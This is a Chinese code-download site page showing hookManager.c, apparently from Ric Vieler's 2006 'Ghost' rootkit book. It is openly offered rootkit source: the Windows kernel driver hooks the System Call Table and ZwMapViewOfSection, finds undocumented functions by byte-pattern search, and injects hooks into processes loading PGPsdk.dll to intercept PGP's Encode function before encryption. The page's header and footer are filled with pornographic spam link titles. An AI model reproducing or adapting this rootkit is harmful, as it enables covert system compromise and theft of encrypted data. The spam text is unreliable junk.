亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? hookmanager.c

?? 很好的rootkit介紹書籍
?? C
字號:
// hookManager
// Copyright Ric Vieler, 2006
// Hook the System Call Table

#include "ntddk.h"
#include "Ghost.h"
#include "hookManager.h"
#include "peFormat.h"
#include "injectManager.h"

// Add kernel hook(s)
NTSTATUS HookKernel( )
{
	DWORD functionAddress;
	DWORD position;

	pMyMDL = MmCreateMdl(	NULL,
					KeServiceDescriptorTable.ServiceTableBase,
					KeServiceDescriptorTable.NumberOfServices * 4 );

	if( !pMyMDL )
		return( STATUS_UNSUCCESSFUL );

	MmBuildMdlForNonPagedPool( pMyMDL );
	pMyMDL->MdlFlags = pMyMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
	NewSystemCallTable = MmMapLockedPages( pMyMDL, KernelMode );

	if( !NewSystemCallTable )
		return( STATUS_UNSUCCESSFUL );

	// Need ZwProtectVirtualMemory to write into user memory.
	// But it's not defined in ntddk.h so look for pattern
	// searching backward from ZwPulseEvent
	OldZwProtectVirtualMemory = findUnresolved(ZwPulseEvent);
	if( OldZwProtectVirtualMemory == 0 )
		return( STATUS_UNSUCCESSFUL );

	// Add hooks here (remember to unhook if using DriverUnload)
	HOOK( ZwMapViewOfSection, NewZwMapViewOfSection, OldZwMapViewOfSection );

	return( STATUS_SUCCESS );
}

// Process Inject Dynamic Link Libraries
NTSTATUS NewZwMapViewOfSection(
    IN HANDLE SectionHandle,
    IN HANDLE ProcessHandle,
    IN OUT PVOID *BaseAddress,
    IN ULONG ZeroBits,
    IN ULONG CommitSize,
    IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
    IN OUT PSIZE_T ViewSize,
    IN SECTION_INHERIT InheritDisposition,
    IN ULONG AllocationType,
    IN ULONG Protect )
{
	NTSTATUS status;

	// First complete the standard mapping process
	status = OldZwMapViewOfSection(	SectionHandle,
					ProcessHandle,
					BaseAddress,
					ZeroBits,
					CommitSize,
					SectionOffset OPTIONAL,
					ViewSize,
					InheritDisposition,
					AllocationType,
					Protect );

	// Now remap as required ( imageOffset only known for versions 4 & 5 )
	if( NT_SUCCESS( status ) && ( majorVersion == 4 || majorVersion == 5 ) )
	{
		unsigned int	imageOffset = 0;
		VOID*			pSection = NULL;
		unsigned int	imageSection = FALSE;
		HANDLE			hRoot = NULL;
		PUNICODE_STRING objectName = NULL;
		PVOID			pImageBase = NULL;
		UNICODE_STRING	library1 = { 0 };
		UNICODE_STRING	library2 = { 0 };
		CALL_DATA_STRUCT	callData[TOTAL_HOOKS] = { 0 };		int					hooks2inject = 0;		
		// Image location higher in version 4
		if( majorVersion == 4 )
			imageOffset = 24;

		if( ObReferenceObjectByHandle(	SectionHandle,
										SECTION_MAP_EXECUTE,
										*MmSectionObjectType,
										KernelMode, 
										&pSection,
										NULL ) == STATUS_SUCCESS )
		{
			// Check to see if this is an image section
			// If it is, get the root handle and the object name
			_asm
			{
				mov     edx, pSection
				mov     eax, [edx+14h]
				add     eax, imageOffset
				mov     edx, [eax]
				test    byte ptr [edx+20h], 20h
				jz      not_image_section
				mov     imageSection, TRUE
				mov     eax, [edx+24h]
				mov     edx, [eax+4]
				mov     hRoot, edx
				add     eax, 30h
				mov     objectName, eax
				not_image_section:

			}
			if( BaseAddress )
				pImageBase = *BaseAddress;

			// Mapping a DLL
			if( imageSection && pImageBase && objectName && objectName->Length > 0 )
			{
				// define libraries of interest
				RtlInitUnicodeString( &library1, L"kernel32.dll" );
				RtlInitUnicodeString( &library2, L"PGPsdk.dll" );

				if ( IsSameFile( &library1, objectName ) ) // kernel32
				{
					kernel32Base = pImageBase;
				}
				else if ( IsSameFile( &library2, objectName ) ) // PGPsdk
				{
					// Pattern for PGP 9.0 Encode
					BYTE pattern1[] = {	0x55, 0x8B, 0xEC, 0x83, 0xE4, 0xF8, 0x81, 0xEC, \
										0xFC, 0x00, 0x00, 0x00, 0x53, 0x33, 0xC0, 0x56, \
										0x57, 0xB9, 0x26, 0x00, 0x00, 0x00, 0x8D, 0x7C, \
										0x24, 0x18, 0xF3, 0xAB };

					PVOID pfEncode = GetFunctionAddress( pImageBase, NULL, pattern1, sizeof(pattern1) );

					if( !pfEncode )
					{
					// Pattern for PGP 9.5 Encode
						BYTE pattern2[] = {	0x81, 0xEC, 0xFC, 0x00, 0x00, 0x00, 0x53, 0x55, \
											0x33, 0xDB, 0x68, 0x98, 0x00, 0x00, 0x00, 0x8D, \
											0x44, 0x24, 0x14, 0x53, 0x50, 0x89, 0x9C, 0x24, \
											0xB4, 0x00, 0x00, 0x00 };

						pfEncode = GetFunctionAddress( pImageBase, NULL, pattern2, sizeof(pattern2) );
					}
					if( pfEncode )					{						hooks2inject = 1;						callData[0].index = USERHOOK_beforeEncode;						callData[0].hookFunction = pfEncode;						callData[0].parameters = 2;						callData[0].callType = CDECL_TYPE;						callData[0].stackOffset = 0;
						DbgPrint("comint32: NewZwMapViewOfSection pfEncode = %x",pfEncode);
					}					else					{						DbgPrint("comint32:  PGP Encode not found.");					}				}
				if( hooks2inject > 0 )
				{
					PCHAR injectedMemory;

					// prepare memory
					injectedMemory = allocateUserMemory();
					// inject
					if( !processInject( (CALL_DATA_STRUCT*)&callData, hooks2inject, injectedMemory ) )
					{
						DbgPrint("comint32: processInject failed!\n" );
					}
				}
			}
			ObDereferenceObject( pSection );
		}
	}
	return status;
}

// Used to compare a full path to a file name
BOOL IsSameFile(PUNICODE_STRING shortString, PUNICODE_STRING longString)
{
	USHORT index;
	USHORT longLen;
	USHORT shortLen;
	USHORT count;

	index = longString->Length / 2; // wchar_t len is length / 2

	// search backwards for backslash
	while( --index )
		if ( longString->Buffer[index] == L'\\' )
			break;

	// check for same length first
	longLen = (longString->Length / 2) - index - 1;
	shortLen = shortString->Length / 2;
	if( shortLen != longLen )
		return FALSE;

	// Compare
	count = 0;
	while ( count < longLen )
		if ( longString->Buffer[++index] != shortString->Buffer[count++] )
			return FALSE;

	// Match!
	return TRUE;
}

// Compare to char strings
BOOL IsSameString( char* first, char* second )
{
	while( *first && *second )
	{
		if( tolower( *first ) != tolower( *second ) )
			return FALSE;
		first++;
		second++;
	}
	if( *first || *second )
		return FALSE;

	// strings match!
	return TRUE;
}

// Map user address space into the kernel
PVOID MapKernelAddress( PVOID pAddress, PMDL* ppMDL, ULONG size )
{
	PVOID pMappedAddr = NULL;
	
	*ppMDL = IoAllocateMdl( pAddress, size, FALSE, FALSE, NULL );
	if( *ppMDL == NULL )
		return NULL;

	__try
	{
		MmProbeAndLockPages( *ppMDL, KernelMode ,IoReadAccess );
	}
	__except( EXCEPTION_EXECUTE_HANDLER )
	{
		IoFreeMdl( *ppMDL );
		*ppMDL = NULL;
		return NULL;
	}

	pMappedAddr = MmGetSystemAddressForMdlSafe( *ppMDL, HighPagePriority );
	if( !pMappedAddr )
	{
		MmUnlockPages( *ppMDL );
		IoFreeMdl( *ppMDL );
		*ppMDL = NULL;
		return NULL;
	}

	return pMappedAddr;
}

// Free kernel space after mapping in user memory
VOID FreeKernelAddress( PVOID* ppMappedAddr, PMDL* ppMDL )
{
	if( *ppMappedAddr && *ppMDL )
		MmUnmapLockedPages( *ppMappedAddr, *ppMDL );

	*ppMappedAddr = NULL;
	if( *ppMDL )
	{
		MmUnlockPages( *ppMDL );
		IoFreeMdl( *ppMDL );
	}
	*ppMDL = NULL;
}

// get DOS Header -> NT Header -> Optinal Header -> SizeOfImage
ULONG GetImageSize( PVOID baseAddress )
{
    PIMAGE_DOS_HEADER pDOSHeader;
    PIMAGE_NT_HEADER pNTHeader;
    ULONG imageSize = 0;
	PVOID pTempNTHeader;
	PVOID mappedBase;
	PMDL pMDL;

	mappedBase = MapKernelAddress( baseAddress, &pMDL, sizeof(PIMAGE_DOS_HEADER) );
	if( mappedBase )
	{
		pDOSHeader = (PIMAGE_DOS_HEADER)mappedBase;
		pTempNTHeader = (PVOID)(pDOSHeader->e_lfanew);
		FreeKernelAddress( &mappedBase, &pMDL );
		mappedBase = MapKernelAddress( (PVOID)((ULONG)baseAddress + (ULONG)pTempNTHeader), &pMDL, sizeof(PIMAGE_NT_HEADER) );
		if( mappedBase )
		{
			pNTHeader = (PIMAGE_NT_HEADER)mappedBase;
			imageSize = pNTHeader->OptionalHeader.SizeOfImage;
			FreeKernelAddress( &mappedBase, &pMDL );
		}
	}
	return imageSize;
}

// find an undocumented ntdll function
PVOID findUnresolved( PVOID pFunc )
{
	UCHAR	pattern[5] = { 0 };
	PUCHAR	bytePtr = NULL;
	PULONG  oldStart = 0;
	ULONG	newStart = 0;

	memcpy( pattern, pFunc, 5 );

	// subtract offset
	oldStart = (PULONG)&(pattern[1]);
	newStart = *oldStart - 1;
	*oldStart = newStart;

	// Search for pattern
	for( bytePtr = (PUCHAR)pFunc - 5; bytePtr >= (PUCHAR)pFunc - 0x800; bytePtr-- )
		if( checkPattern( bytePtr, pattern, 5 ) == 0 )
			return (PVOID)bytePtr;
	// pattern not found
	return NULL;
}

// Get the address of a function from a DLL
// Pass in the base address of the DLL
// Pass function name OR pattern and pettern length
PVOID GetFunctionAddress(	PVOID BaseAddress,
							char* functionName,
							PBYTE pattern,
							size_t patternLength  )
{
    ULONG imageSize;
    ULONG virtualAddress;
    PVOID returnAddress;
    PULONG functionAddressArray;
    PWORD ordinalArray;
    PULONG functionNameArray;
    ULONG loop;
    ULONG ordinal;
	PVOID mappedBase;
	PMDL pMDL;
	BYTE* bytePtr;
	BYTE* maxBytePtr;
    PIMAGE_DOS_HEADER pDOSHeader;
    PIMAGE_NT_HEADER pNTHeader;
    PIMAGE_EXPORT_DIRECTORY exportDirectory;

	imageSize = GetImageSize( BaseAddress );
	mappedBase = MapKernelAddress( BaseAddress, &pMDL, imageSize );

	if ( functionName == NULL )
	{
		// Search for function pattern
		returnAddress = 0;
		maxBytePtr = (PBYTE)((DWORD)mappedBase + (DWORD)imageSize - (DWORD)patternLength);
		for( bytePtr = (PBYTE)mappedBase; bytePtr < maxBytePtr; bytePtr++ )
		{	
			if( checkPattern( bytePtr, pattern, patternLength ) == 0 )
			{
				returnAddress = (PVOID)((DWORD)BaseAddress + (DWORD)bytePtr - (DWORD)mappedBase);
				break;
			}
		}
		if( mappedBase )
			FreeKernelAddress( &mappedBase, &pMDL );
		return returnAddress;
	}
	
	// Search for function name
    pDOSHeader = (PIMAGE_DOS_HEADER)mappedBase;
    pNTHeader = (PIMAGE_NT_HEADER)((PCHAR)mappedBase + pDOSHeader->e_lfanew);
    imageSize = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
    virtualAddress = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PCHAR)mappedBase + virtualAddress);
    functionAddressArray = (PULONG)((PCHAR)mappedBase + exportDirectory->AddressOfFunctions);
    ordinalArray  = (PWORD)((PCHAR)mappedBase + exportDirectory->AddressOfNameOrdinals);
    functionNameArray     = (PULONG)((PCHAR)mappedBase + exportDirectory->AddressOfNames);

	ordinal = (ULONG)functionName;
    if (!ordinal)
	{
		if( mappedBase )
			FreeKernelAddress( &mappedBase, &pMDL );
		return 0;
	}
    if( ordinal <= exportDirectory->NumberOfFunctions )
    {
		if( mappedBase )
			FreeKernelAddress( &mappedBase, &pMDL );
        return (PVOID)((PCHAR)BaseAddress + functionAddressArray[ordinal - 1]);
    }

    for( loop = 0; loop < exportDirectory->NumberOfNames; loop++ )
    {
		ordinal = ordinalArray[loop];
		if( functionAddressArray[ordinal] < virtualAddress || functionAddressArray[ordinal] >= virtualAddress + imageSize )
        {
            if( IsSameString( (PSTR)((PCHAR)mappedBase + functionNameArray[loop]), functionName ) )
            {
				returnAddress = (PVOID)functionAddressArray[ordinal];
				if( mappedBase )
					FreeKernelAddress( &mappedBase, &pMDL );
                return (PVOID)((DWORD)BaseAddress + (DWORD)returnAddress);
            }
        }
    }

	DbgPrint("comint32: EXPORT NOT FOUND, function = %s", functionName);
	
	if( mappedBase )
		FreeKernelAddress( &mappedBase, &pMDL );
	return 0;
}

// This should be fast!
int checkPattern( unsigned char* pattern1, unsigned char* pattern2, size_t size )
{
	register unsigned char* p1 = pattern1;
	register unsigned char* p2 = pattern2;
	while( size-- > 0 )
    {
		if( *p1++ != *p2++ )
			return 1;
	}
	return 0;
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
久久亚洲一区二区三区明星换脸| 精品久久久久av影院| 日韩和的一区二区| 久久视频一区二区| 欧美日韩国产在线观看| 国产精品影视在线观看| 午夜精彩视频在线观看不卡| 久久亚洲一区二区三区四区| 欧美揉bbbbb揉bbbbb| 成人高清伦理免费影院在线观看| 日韩精品久久久久久| 亚洲黄色尤物视频| 2020国产精品自拍| 欧美一区二区三级| 日本久久一区二区三区| 国产99精品在线观看| 蜜臂av日日欢夜夜爽一区| 夜夜精品浪潮av一区二区三区| 国产拍揄自揄精品视频麻豆| 日韩视频一区二区| 666欧美在线视频| 欧美亚洲一区二区三区四区| 成人高清视频在线观看| 国产不卡视频在线观看| 久久99精品久久久| 麻豆精品一区二区综合av| 午夜精品久久久久| 午夜一区二区三区视频| 亚洲国产精品久久人人爱蜜臀| 国产精品传媒入口麻豆| 中文一区二区完整视频在线观看| 久久久影视传媒| 久久综合久久鬼色中文字| 欧美一区二区三区在线观看| 欧美日韩视频专区在线播放| 欧美性猛片aaaaaaa做受| 色8久久人人97超碰香蕉987| 91女厕偷拍女厕偷拍高清| 99国产精品一区| 99精品久久免费看蜜臀剧情介绍| 成人国产精品免费观看动漫| 国产91色综合久久免费分享| 国产69精品久久777的优势| 国产91清纯白嫩初高中在线观看| 国产高清不卡二三区| 成人精品一区二区三区四区| 成人免费观看视频| 91蜜桃婷婷狠狠久久综合9色| 99re66热这里只有精品3直播| 99国产欧美另类久久久精品| 在线免费观看日本欧美| 欧美日韩精品一区二区| 欧美一区二区视频网站| 日韩欧美国产综合一区| 久久久综合视频| 国产精品网曝门| 亚洲综合在线观看视频| 亚洲bt欧美bt精品777| 日本视频中文字幕一区二区三区| 麻豆精品一二三| 国产福利不卡视频| 91麻豆国产香蕉久久精品| 欧美日韩久久久| 精品精品国产高清一毛片一天堂| 日本一区二区视频在线| 亚洲美女免费视频| 奇米一区二区三区| 成人美女在线视频| 日韩美女在线视频 | 色婷婷av一区二区三区大白胸| 97久久人人超碰| 制服丝袜日韩国产| 久久人人97超碰com| 成人欧美一区二区三区白人 | 精品国产乱码久久久久久久久| 国产亚洲一二三区| 一区二区三区日韩欧美| 麻豆精品在线播放| 色婷婷国产精品综合在线观看| 9191久久久久久久久久久| 精品国产a毛片| 亚洲制服丝袜av| 国产成人av电影在线| 欧美这里有精品| 久久久久久久免费视频了| 亚洲精品国产一区二区三区四区在线| 免费在线成人网| 91色综合久久久久婷婷| 欧美一卡在线观看| 一区二区在线看| 国产精品99久久久久久久vr| 欧美性受xxxx| 日本一区二区三区视频视频| 香蕉加勒比综合久久| 成人国产精品免费| 精品三级av在线| 午夜精品福利久久久| 99久久精品费精品国产一区二区| 日韩精品一区二区三区蜜臀| 亚洲欧美区自拍先锋| 国产+成+人+亚洲欧洲自线| 欧美日韩国产另类一区| 亚洲女人****多毛耸耸8| 国产一区二区三区四区五区美女| 欧美日韩一区视频| 亚洲欧美激情一区二区| 国产成人av福利| 欧美变态口味重另类| 亚洲国产日韩综合久久精品| 成人动漫一区二区| 久久精品欧美日韩精品| 麻豆国产精品官网| 欧美精品123区| 一区二区在线免费| 91老师片黄在线观看| 国产精品免费观看视频| 国产乱子轮精品视频| 欧美一级二级在线观看| 亚洲aaa精品| 欧美日韩午夜在线| 午夜欧美一区二区三区在线播放| 色狠狠色噜噜噜综合网| 亚洲嫩草精品久久| 99久久er热在这里只有精品66| 日本一区二区三区高清不卡| av电影在线观看一区| 久久久亚洲高清| 黄色精品一二区| 久久久久久亚洲综合影院红桃| 久久福利资源站| 26uuu成人网一区二区三区| 免费视频最近日韩| 欧美成人艳星乳罩| 看电影不卡的网站| 久久综合久久99| 国产成人精品免费看| 欧美国产精品一区| 成人av免费在线播放| 韩国v欧美v亚洲v日本v| 中文字幕一区二区三区色视频| 欧美午夜一区二区| 国产视频一区在线观看 | 亚洲视频香蕉人妖| 麻豆国产欧美日韩综合精品二区 | 一区二区三区视频在线看| 色狠狠桃花综合| 亚洲国产精品精华液网站| 欧美另类久久久品| 毛片av中文字幕一区二区| 精品国产污网站| 东方欧美亚洲色图在线| 亚洲欧洲综合另类| 欧美日韩国产乱码电影| 久久精品国产亚洲5555| 国产三级三级三级精品8ⅰ区| www.激情成人| 亚洲最大的成人av| 欧美成人精品3d动漫h| 国产aⅴ综合色| 一区二区三区不卡在线观看| 欧美乱熟臀69xxxxxx| 国产综合久久久久久久久久久久| 久久久久久久久久电影| 色综合久久综合网欧美综合网 | 久久美女艺术照精彩视频福利播放| 豆国产96在线|亚洲| 亚洲精品一二三四区| 欧美一卡二卡三卡四卡| 成人性生交大片免费看在线播放 | 精品国产伦一区二区三区观看体验 | 一区二区理论电影在线观看| 欧美一区二区三区思思人| 国产成人一区二区精品非洲| 亚洲免费观看高清完整版在线观看 | 一区二区三区不卡在线观看 | 国内偷窥港台综合视频在线播放| 国产精品你懂的在线欣赏| 欧美色窝79yyyycom| 韩国中文字幕2020精品| 一区二区日韩av| 国产午夜一区二区三区| 欧美日韩精品是欧美日韩精品| 黄色精品一二区| 亚洲国产一区二区在线播放| 久久久久久99精品| 欧美年轻男男videosbes| 国产成人精品一区二区三区四区 | 图片区小说区国产精品视频| 久久久91精品国产一区二区精品| 在线精品视频一区二区| 国产精品香蕉一区二区三区| 日韩精品一二三区| 亚洲免费在线看| 国产欧美精品区一区二区三区| 欧美日本不卡视频| 91玉足脚交白嫩脚丫在线播放| 精品无码三级在线观看视频| 亚洲国产精品一区二区www| 亚洲国产高清在线观看视频| 91精品国产91热久久久做人人|